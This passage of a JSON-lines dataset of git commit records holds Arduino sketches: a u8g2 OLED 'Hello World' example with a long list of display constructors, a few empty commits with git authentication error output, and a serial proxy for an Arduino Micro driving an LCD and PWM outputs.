range\n\/\/U8G2_SH1106_128X64_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SH1106_128X64_VCOMH0_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\t\/\/ same as the NONAME variant, but maximizes setContrast() range\n\/\/U8G2_SSD1306_128X32_UNIVISION_F_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ 21, \/* data=*\/ 20, \/* reset=*\/ U8X8_PIN_NONE); \/\/ Adafruit Feather M0 Basic Proto + FeatherWing OLED\n\/\/U8G2_SSD1306_128X32_UNIVISION_F_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ SCL, \/* data=*\/ SDA, \/* reset=*\/ U8X8_PIN_NONE); \/\/ Adafruit Feather ESP8266\/32u4 Boards + FeatherWing OLED\n\/\/U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE); \/\/ Adafruit ESP8266\/32u4\/ARM Boards + FeatherWing OLED\n\/\/U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE, \/* clock=*\/ SCL, \/* data=*\/ SDA); \/\/ pin remapping with ESP8266 HW I2C\n\/\/U8G2_SSD1306_64X48_ER_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE); \/\/ EastRising 0.66\" OLED breakout board, Uno: A4=SDA, A5=SCL, 5V powered\n\/\/U8G2_SSD1322_NHD_256X64_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\/\/ Enable U8G2_16BIT in u8g2.h\n\/\/U8G2_SSD1322_NHD_256X64_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\/\/ Enable U8G2_16BIT in u8g2.h\n\/\/U8G2_SSD1325_NHD_128X64_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_SSD1325_NHD_128X64_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\n\/\/U8G2_SSD1327_SEEED_96X96_F_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ SCL, \/* data=*\/ SDA, \/* reset=*\/ U8X8_PIN_NONE);\t\/\/ Seeedstudio Grove OLED 96x96\n\/\/U8G2_SSD1327_SEEED_96X96_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\t\/\/ Seeedstudio Grove OLED 96x96\n\/\/U8G2_SSD1329_128X96_NONAME_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SSD1329_128X96_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SSD1305_128X32_NONAME_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SSD1305_128X32_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SSD1309_128X64_NONAME_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_SSD1309_128X64_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_LD7032_60X32_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 11, \/* data=*\/ 12, \/* cs=*\/ 9, \/* dc=*\/ 10, \/* reset=*\/ 8);\t\/\/ SW SPI Nano Board\n\/\/U8G2_LD7032_60X32_F_4W_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ 11, \/* data=*\/ 12, \/* reset=*\/ U8X8_PIN_NONE);\t\/\/ NOT TESTED!\n\/\/U8G2_UC1701_EA_DOGS102_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_UC1701_EA_DOGS102_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_PCD8544_84X48_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ Nokia 5110 Display\n\/\/U8G2_PCD8544_84X48_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \t\t\/\/ Nokia 5110 Display\n\/\/U8G2_PCF8812_96X65_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\/\/ Could be also PCF8814\n\/\/U8G2_PCF8812_96X65_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\t\t\t\t\t\/\/ Could be also PCF8814\n\/\/U8G2_KS0108_128X64_F u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 18, \/*dc=*\/ 17, \/*cs0=*\/ 14, \/*cs1=*\/ 15, \/*cs2=*\/ U8X8_PIN_NONE, \/* reset=*\/ U8X8_PIN_NONE); \t\/\/ Set R\/W to low!\n\/\/U8G2_KS0108_ERM19264_F u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 18, \/*dc=*\/ 17, \/*cs0=*\/ 14, \/*cs1=*\/ 15, \/*cs2=*\/ 16, \/* reset=*\/ U8X8_PIN_NONE); \t\/\/ Set R\/W to low!\n\/\/U8G2_ST7920_192X32_F_8080 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 18, \/*cs=*\/ U8X8_PIN_NONE, \/*dc=*\/ 17, \/*reset=*\/ U8X8_PIN_NONE);\n\/\/U8G2_ST7920_192X32_F_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 18 \/* A4 *\/ , \/* data=*\/ 16 \/* A2 *\/, \/* CS=*\/ 17 \/* A3 *\/, \/* reset=*\/ U8X8_PIN_NONE);\n\/\/U8G2_ST7920_128X64_F_8080 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 18 \/* A4 *\/, \/*cs=*\/ U8X8_PIN_NONE, \/*dc\/rs=*\/ 17 \/* A3 *\/, \/*reset=*\/ 15 \/* A1 *\/);\t\/\/ Remember to set R\/W to 0 \n\/\/U8G2_ST7920_128X64_F_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 18 \/* A4 *\/ , \/* data=*\/ 16 \/* A2 *\/, \/* CS=*\/ 17 \/* A3 *\/, \/* reset=*\/ U8X8_PIN_NONE);\n\/\/U8G2_ST7920_128X64_F_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* CS=*\/ 10, \/* reset=*\/ 8);\n\/\/U8G2_ST7920_128X64_F_HW_SPI u8g2(U8G2_R0, \/* CS=*\/ 10, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_EA_DOGM128_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_EA_DOGM128_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_EA_DOGM132_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ U8X8_PIN_NONE);\t\/\/ DOGM132 Shield\n\/\/U8G2_ST7565_EA_DOGM132_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ U8X8_PIN_NONE);\t\/\/ DOGM132 Shield\n\/\/U8G2_ST7565_ZOLEN_128X64_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_ZOLEN_128X64_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_LM6059_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\t\/\/ Adafruit ST7565 GLCD\n\/\/U8G2_ST7565_LM6059_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\t\/\/ Adafruit ST7565 GLCD\n\/\/U8G2_ST7565_ERC12864_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_ERC12864_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_NHD_C12832_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_NHD_C12832_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_NHD_C12864_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7565_NHD_C12864_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_ST7567_PI_132X64_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 7, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ Pax Instruments Shield, LCD_BL=6\n\/\/U8G2_ST7567_PI_132X64_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 7, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ Pax Instruments Shield, LCD_BL=6\n\/\/U8G2_NT7534_TG12864R_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_NT7534_TG12864R_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_ST7588_JLX12864_F_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ SCL, \/* data=*\/ SDA, \/* reset=*\/ 5); \n\/\/U8G2_ST7588_JLX12864_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ 5);\n\/\/U8G2_IST3020_ERC19264_F_6800 u8g2(U8G2_R0, 44, 43, 42, 41, 40, 39, 38, 37, \/*enable=*\/ 28, \/*cs=*\/ 32, \/*dc=*\/ 30, \/*reset=*\/ 31); \/\/ Connect WR pin with GND\n\/\/U8G2_IST3020_ERC19264_F_8080 u8g2(U8G2_R0, 44, 43, 42, 41, 40, 39, 38, 37, \/*enable=*\/ 29, \/*cs=*\/ 32, \/*dc=*\/ 30, \/*reset=*\/ 31); \/\/ Connect RD pin with 3.3V\n\/\/U8G2_IST3020_ERC19264_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_LC7981_160X80_F_6800 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 18, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ Connect RW with GND\n\/\/U8G2_LC7981_240X128_F_6800 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 18, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ Connect RW with GND\n\/\/U8G2_T6963_240X128_F_8080 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 17, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ Connect RD with +5V, FS0 and FS1 with GND\n\/\/U8G2_T6963_256X64_F_8080 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 17, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ Connect RD with +5V, FS0 and FS1 with GND\n\/\/U8G2_SED1330_240X128_F_8080 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 17, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ Connect RD with +5V, FG with GND\n\/\/U8G2_SED1330_240X128_F_6800 u8g2(U8G2_R0, 13, 11, 2, 3, 4, 5, 6, A4, \/*enable=*\/ 7, \/*cs=*\/ 10, \/*dc=*\/ 9, \/*reset=*\/ 8); \/\/ A0 is dc pin!\n\/\/U8G2_RA8835_NHD_240X128_F_8080 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 17, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ Connect \/RD = E with +5V, enable is \/WR = RW, FG with GND, 14=Uno Pin A0\n\/\/U8G2_RA8835_NHD_240X128_F_6800 u8g2(U8G2_R0, 8, 9, 10, 11, 4, 5, 6, 7, \/*enable=*\/ 17, \/*cs=*\/ 14, \/*dc=*\/ 15, \/*reset=*\/ 16); \/\/ A0 is dc pin, \/WR = RW = GND, enable is \/RD = E\n\/\/U8G2_UC1604_JLX19264_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_UC1604_JLX19264_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \n\/\/U8G2_UC1608_ERC24064_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ SW SPI, Due ERC24064-1 Test Setup\n\/\/U8G2_UC1608_240X128_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ SW SPI, Due ERC24064-1 Test Setup\n\/\/U8G2_UC1610_EA_DOGXL160_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ U8X8_PIN_NONE);\n\/\/U8G2_UC1610_EA_DOGXL160_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ U8X8_PIN_NONE);\n\/\/U8G2_UC1611_EA_DOGM240_F_2ND_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ 8);\t\/\/ Due, 2nd I2C, DOGM240 Test Board\n\/\/U8G2_UC1611_EA_DOGM240_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ Due, SW SPI, DOGXL240 Test Board\n\/\/U8G2_UC1611_EA_DOGXL240_F_2ND_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ 8);\t\/\/ Due, 2nd I2C, DOGXL240 Test Board\n\/\/U8G2_UC1611_EA_DOGXL240_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8); \/\/ Due, SW SPI, DOGXL240 Test Board\n\/\/U8G2_SSD1606_172X72_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\t\/\/ eInk\/ePaper Display\n\/\/U8G2_SSD1607_200X200_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\/\/ eInk\/ePaper Display\n\n\/\/ End of constructor list\n\n\nvoid setup(void) {\n u8g2.begin();\n}\n\nvoid loop(void) {\n u8g2.clearBuffer();\t\t\t\t\t\/\/ clear the internal memory\n u8g2.setFont(u8g2_font_ncenB14_tr);\t\/\/ choose a suitable font\n u8g2.drawStr(0,20,\"Hello World!\");\t\/\/ write something to the internal memory\n u8g2.sendBuffer();\t\t\t\t\t\/\/ transfer internal memory to the display\n delay(1000); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'oled\/u8g2_HelloWorld\/u8g2_HelloWorld.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"3b8b5cc857bc3f8a4a08e1e104e04af8ec1b3836","subject":"empty servo controller file","message":"empty servo controller file\n","repos":"nkjassal\/Interactive-Sandbox,nkjassal\/Interactive-Sandbox","old_file":"Servos\/servo_controller\/servo_controller.ino","new_file":"Servos\/servo_controller\/servo_controller.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Servos\/servo_controller\/servo_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c2cb776bc5086631fbe94dcbbdf37288db7c17b6","subject":"Servo interface on the arduino works and is pretty darn spiffy.","message":"Servo interface on the arduino works and is pretty darn spiffy.\n","repos":"VisIR\/RoboCode,VisIR\/RoboCode,VisIR\/RoboCode,VisIR\/RoboCode","old_file":"Arduino\/ServoInterface\/ServoInterface.ino","new_file":"Arduino\/ServoInterface\/ServoInterface.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VisIR\/RoboCode.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ce82d9ad8c5734443ab3b62603c716df65ff9775","subject":"Update Delta5-Race-Timer.ino","message":"Update Delta5-Race-Timer.ino","repos":"punkkills\/delta5_race_timer,punkkills\/delta5_race_timer,howflyquad\/delta5_race_timer,howflyquad\/delta5_race_timer,punkkills\/delta5_race_timer,scottgchin\/delta5_race_timer,howflyquad\/delta5_race_timer,scottgchin\/delta5_race_timer,scottgchin\/delta5_race_timer,scottgchin\/delta5_race_timer","old_file":"Delta5-Race-Timer\/Delta5-Race-Timer.ino","new_file":"Delta5-Race-Timer\/Delta5-Race-Timer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/howflyquad\/delta5_race_timer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ac27b24ee1a418dee1d47b9d76b46494558cc11e","subject":"initial import of micro code implemented serial proxy handle LCD commands handle analogOut (PWM) commands placeholder for joystick button events","message":"initial import of micro code\nimplemented serial proxy\nhandle LCD commands\nhandle analogOut (PWM) commands\nplaceholder for joystick button events\n","repos":"ytmytm\/ksp-gegi","old_file":"ksp-gegi-microusb\/ksp-gegi-microusb.ino","new_file":"ksp-gegi-microusb\/ksp-gegi-microusb.ino","new_contents":"\n#include <Arduino.h>\n#include <Wire.h>\n\/\/ https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/downloads\n#include <LiquidCrystal_I2C.h> \/\/ Using version 1.2.1\n\n\/\/ IDE: Arduino\/Genuino Micro\n\n\/\/ potencjometr: niebieski z czarn\u0105 kresk\u0105 do GND, bia\u0142y do +5V, niebieski do pinu A0 \/ A1\n\/\/ LCD: SDA->2, SCL->3\n\nclass analogOutPin {\n public:\n analogOutPin(const uint8_t id, const uint8_t pin);\n void updateState(const uint8_t val) const ;\n const uint8_t getId() const { return(m_id); }\n private:\n const uint8_t m_id, m_pin;\n};\n\nanalogOutPin::analogOutPin(const uint8_t id, const uint8_t pin) :\n\tm_id(id), m_pin(pin)\n{\n}\n\nvoid analogOutPin::updateState(const uint8_t val) const {\n analogWrite(m_pin,val);\n}\n\nanalogOutPin analogOutPins[] = {\n analogOutPin(0,9),\t\/\/ g-force\n analogOutPin(1,10) \/\/ electrical power\n};\n\n\/\/ Set the pins on the I2C chip used for LCD connections:\n\/\/ addr, en,rw,rs,d4,d5,d6,d7,bl,blpol\nLiquidCrystal_I2C lcd(0x3f, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\n\/\/ serial port\n#define SERIAL_SPEED 115200\n\nvoid setup() {\n \/\/ initialize serial communications\n Serial.begin(SERIAL_SPEED);\n Serial1.begin(SERIAL_SPEED);\n \/\/ wait for USB device\n while (!Serial);\n \/\/ set timeout to 200ms\n Serial.setTimeout(200);\n \/\/ start blink counter\n lcd.begin(16,2); \/\/ initialize the lcd for 16 chars 2 lines, turn on backlight\n lcd.setCursor(0,0);\n lcd.print(\"KSP-Gegi\");\n lcd.setCursor(0,1);\n lcd.print(\"Ready for action\");\n \/\/ request status update\n Serial.println(\"I\");\n}\n\n\/\/ commands like ^A{id}={val}$\nvoid handleSerialInputAnalogOut() {\n const uint8_t id = Serial.parseInt(); \/\/ skip '='\n const uint8_t val = Serial.parseInt(); \/\/ skip newline\n\/\/ Serial.print(id); Serial.write(' '); Serial.println(val);\n for (auto &p : analogOutPins) {\n if (p.getId()==id) {\n p.updateState(val);\n }\n }\n}\n\n\/\/ commands like ^P{line:0,1}={text0..15}$ (consume all characters until end of the line)\nvoid handleSerialInputLCD() {\n uint8_t i=0, c;\n const uint8_t id = Serial.parseInt();\n Serial.read(); \/\/ skip '='\n\/\/ Serial.print(\"LCDin\"); Serial.println(id);\n if (id==0 || id==1) {\n lcd.setCursor(0,id);\n c = -1;\n while (c!='\\r' && c!='\\n') {\n if (Serial.available()>0) {\n c = Serial.read();\n } else {\n c = -1;\n }\n if (c>0 && c!='\\r' && c!='\\n' && i<16) {\n i++;\n lcd.write(c);\n\/\/ Serial.print(c,HEX);\n }\n }\n for (;i<16;i++) {\n lcd.write(' ');\n }\n\/\/ Serial.println(\"endLCD\");\n }\n}\n\n\/\/ pass data from USB host (PC) to UART\n\/\/ - handle own devices (consume this data)\n\/\/ - pass everything else to mini slave\nvoid checkSerialInputUSBtoUART() {\n uint8_t c;\n while (Serial.available()) {\n c = Serial.read();\n if (c == 'A') {\n handleSerialInputAnalogOut();\n }\n else if (c == 'P') {\n handleSerialInputLCD();\n }\n\t else {\n Serial1.write(c);\n\t }\n }\n}\n\n\/\/ pass data from UART slave (mini) to USB host (PC)\n\/\/ - convert some button presses to joystick events\n\/\/ - pass everyting else\nvoid checkSerialInputUARTtoUSB() {\n uint8_t c;\n while (Serial1.available()) {\n\t\tc = Serial1.read();\n\t\tSerial.write(c);\n\t}\n}\n\nvoid loop() {\n checkSerialInputUSBtoUART();\n checkSerialInputUARTtoUSB();\n \/\/ send joystick state\n delay(200);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ksp-gegi-microusb\/ksp-gegi-microusb.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"197099e424074363e75cb41360776c007f1f6965","subject":"RFduino firmware: fix comment so that sketch compiles","message":"RFduino firmware: fix comment so that sketch compiles\n","repos":"1yvT0s\/physical-web,keremgocen\/physical-web,pasanlive\/physical-web,znatz\/physical-web,pasanlive\/physical-web,MaTriXy\/physical-web,r2d209\/physical-web,jeffprestes\/physical-web,alex1818\/physical-web,yangjae\/physical-web,devunwired\/physical-web,sisinflab-swot\/physical-semantic-web,jamesmarva\/physical-web,dinhviethoa\/physical-web,dieface\/physical-web,pasanlive\/physical-web,csa7mdm\/physical-web,radovanx\/physical-web,gnanam336\/physical-web,carsonmcdonald\/physical-web,matthewsibigtroth\/physical-web,google\/physical-web,cosmosgenius\/physical-web,mofosyne\/physical-web,arjunkumarbs\/Test,jvkops\/physical-web,jeffprestes\/physical-web,matthewsibigtroth\/physical-web,matthewsibigtroth\/physical-web,dinhviethoa\/physical-web,kod3r\/physical-web,VandeurenGlenn\/physical-web,keremgocen\/physical-web,vcgato29\/physical-web,radovanx\/physical-web,jamesmarva\/physical-web,VandeurenGlenn\/physical-web,mofosyne\/physical-web,SunboX\/physical-web,Rithie\/physical-web,mofosyne\/physical-web,gnanam336\/physical-web,SunboX\/physical-web,fkjadoon94\/physical-web,jonasevcik\/physical-web,csa7mdm\/physical-web,devunwired\/physical-web,kod3r\/physical-web,devunwired\/physical-web,masakarikun\/physical-web,dinhviethoa\/physical-web,febinsathar\/physical-web,Rithie\/physical-web,devunwired\/physical-web,1yvT0s\/physical-web,AverageMarcus\/physical-web,chrismoulton\/physical-web,masakarikun\/physical-web,nondebug\/physical-web,ColeMurray\/physical-web,duk42111\/physical-web,AverageMarcus\/physical-web,duk42111\/physical-web,pasanlive\/physical-web,cco3\/physical-web,jamesmarva\/physical-web,jonasevcik\/physical-web,vcgato29\/physical-web,mmocny\/physical-web,csa7mdm\/physical-web,Rithie\/physical-web,1yvT0s\/physical-web,arjunkumarbs\/Test,kod3r\/physical-web,duk42111\/physical-web,m-osama\/physical-web,ColeMurray\/physical-web,Karmacons\/physical-web,carsonmcdonald\/physical-web,radovanx\/physical-web,AverageMarcus\/physical-web,vcgato29\/physical-web,MaTriXy\/physical-web,znatz\/physical-web,google\/physical-web,dieface\/physical-web,masakarikun\/physical-web,fkjadoon94\/physical-web,arjunkumarbs\/Test,nondebug\/physical-web,nondebug\/physical-web,ColeMurray\/physical-web,mmocny\/physical-web,gnanam336\/physical-web,dinhviethoa\/physical-web,m-osama\/physical-web,febinsathar\/physical-web,znatz\/physical-web,SunboX\/physical-web,MaTriXy\/physical-web,kod3r\/physical-web,SunboX\/physical-web,m-osama\/physical-web,gnanam336\/physical-web,google\/physical-web,cosmosgenius\/physical-web,jvkops\/physical-web,csa7mdm\/physical-web,fkjadoon94\/physical-web,jonasevcik\/physical-web,jeffprestes\/physical-web,SunboX\/physical-web,MaTriXy\/physical-web,cosmosgenius\/physical-web,chrismoulton\/physical-web,masakarikun\/physical-web,jonasevcik\/physical-web,AverageMarcus\/physical-web,google\/physical-web,duk42111\/physical-web,keremgocen\/physical-web,jeffprestes\/physical-web,mofosyne\/physical-web,vcgato29\/physical-web,matthewsibigtroth\/physical-web,r2d209\/physical-web,jvkops\/physical-web,chrismoulton\/physical-web,cco3\/physical-web,sisinflab-swot\/physical-semantic-web,radovanx\/physical-web,google\/physical-web,carsonmcdonald\/physical-web,r2d209\/physical-web,Rithie\/physical-web,carsonmcdonald\/physical-web,VandeurenGlenn\/physical-web,febinsathar\/physical-web,Karmacons\/physical-web,VandeurenGlenn\/physical-web,ColeMurray\/physical-web,jonasevcik\/physical-web,cco3\/physical-web,kod3r\/physical-web,Karmacons\/physical-web,febinsathar\/physical-web,mmocny\/physical-web,1yvT0s\/physical-web,dieface\/physical-web,ColeMurray\/physical-web,dieface\/physical-web,Karmacons\/physical-web,znatz\/physical-web,m-osama\/physical-web,dieface\/physical-web,carsonmcdonald\/physical-web,jvkops\/physical-web,cosmosgenius\/physical-web,devunwired\/physical-web,fkjadoon94\/physical-web,jamesmarva\/physical-web,alex1818\/physical-web,gnanam336\/physical-web,znatz\/physical-web,cco3\/physical-web,alex1818\/physical-web,radovanx\/physical-web,duk42111\/physical-web,yangjae\/physical-web,mmocny\/physical-web,keremgocen\/physical-web,masakarikun\/physical-web,cosmosgenius\/physical-web,AverageMarcus\/physical-web,nondebug\/physical-web,m-osama\/physical-web,fkjadoon94\/physical-web,alex1818\/physical-web,chrismoulton\/physical-web,yangjae\/physical-web","old_file":"firmware\/RFduino\/physical-web.ino","new_file":"firmware\/RFduino\/physical-web.ino","new_contents":"\/\/ 